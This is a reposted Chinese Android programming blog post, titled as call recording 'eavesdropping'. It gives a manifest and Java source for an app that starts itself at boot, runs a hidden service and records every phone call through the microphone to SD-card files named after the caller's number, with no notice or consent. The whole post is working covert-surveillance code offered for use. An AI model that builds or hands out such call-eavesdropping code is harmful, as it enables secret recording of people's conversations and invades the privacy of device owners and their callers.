码迷,mamicode.com
首页 > 移动开发 > 详细

android 实现电话录音(窃听)

时间:2014-10-27 19:23:15      阅读:150      评论:0      收藏:0      [点我收藏+]

标签:android   style   blog   http   io   color   os   ar   for   

配置文件

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="codefans.app"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk android:minSdkVersion="8" />
    
    <!-- 监听电话状态权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    
    <!-- 在SDCard中创建与删除文件权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
    
    <!-- 在SDCard写入数据权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
  
    <!-- 刻入声音权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <application
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name" >
        <service android:name=".PhoneService"></service>
        <receiver android:name=".PhoneBroadcastReceiver">
            <intent-filter >
               <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播  -->
            </intent-filter>
        </receiver>
    </application>
  
</manifest>
public class PhoneService extends Service
{

    @Override
    public IBinder onBind(Intent intent)
    {
        // TODO Auto-generated method stub
        return null;
    }

    @Override
    public void onCreate()
    {
        super.onCreate();
        
        TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        
        telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //注册监听器 监听电话状态
    }
    
    
    private final class PhoneListener extends PhoneStateListener
    {
        private String incomeNumber;   //来电号码
        private MediaRecorder mediaRecorder;
        private File file;
        @Override
        public void onCallStateChanged(int state, String incomingNumber)
        {
            try
            {
                switch(state)
                {
                case TelephonyManager.CALL_STATE_RINGING:   //来电
                    this.incomeNumber = incomingNumber;
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK:   //接通电话
                    file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");
                    mediaRecorder = new MediaRecorder();
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //获得声音数据源
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式输出
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);   
                    mediaRecorder.setOutputFile(file.getAbsolutePath());   //输出文件
                    mediaRecorder.prepare();    //准备
                    mediaRecorder.start();
                    break;
                
                case TelephonyManager.CALL_STATE_IDLE:  //挂掉电话
                    if(mediaRecorder != null)
                    {
                        mediaRecorder.stop();
                        mediaRecorder.release();
                        mediaRecorder = null;
                    }
                    
                    break;
                
                }
            }
            catch (IllegalStateException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
            catch (IOException e)
            {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }
        }
        
        
    }
    

}
public class PhoneBroadcastReceiver extends BroadcastReceiver
{

    @Override
    public void onReceive(Context context, Intent intent)
    {
        Intent service = new Intent(context, PhoneService.class);
        context.startService(service);   //启动服务
    }

}

 

android 实现电话录音(窃听)

标签:android   style   blog   http   io   color   os   ar   for   

原文地址:http://www.cnblogs.com/a354823200/p/4054770.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!